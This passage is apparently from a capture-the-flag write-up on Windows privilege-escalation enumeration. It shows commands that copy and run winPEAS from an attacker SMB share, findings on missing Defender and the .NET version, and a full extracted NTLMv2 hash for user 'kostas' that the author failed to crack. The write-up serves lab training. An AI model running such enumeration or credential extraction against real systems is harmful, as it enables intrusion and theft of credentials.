PEAS
ps c:\tmp> copy \\10.10.14.6\smb\winPEASx64.exe .
ps c:\tmp> .\winPEASx64.exe
Executing PEAS
Watson
The embedded Watson in PEAS did not execute.
This is likely due to the machine is really old that it does not have at least .NET 4.5.2
As can be seen in the [documentation](
) of PEAS, .NET 4.5.2 is the minimum requirement for the embedded Watson to run
In this case, I can go for Sherlock, which is the predecessor of Watson
AV
No Defender!
UAC
UAC is on
Installed .NET Frameworks
Got the same result from the manual enumeration earlier.
But it shows that the system has .NET 4.5.51641installed.
This should mean that Watson should have been able to run, but it didn’t.
Strange.
NTLM Hash Extraction
PEAS extracted the password hash for the kostas user
kostas::OPTIMUM:1122334455667788:aa5da9ac3fc571fca2438c62d2c76eea:01010000000000006aa1fdf6ad2cd901ac517e3e4b086b97000000000800300030000000000000000000000000200000b61ad67907cc8bfcd3e32fa4aee03816b940775811bac41cd964d09af04c1ab40a00100000000000000000000000000000000000090000000000000000000000
I tried cracking it with Hashcat, but it failed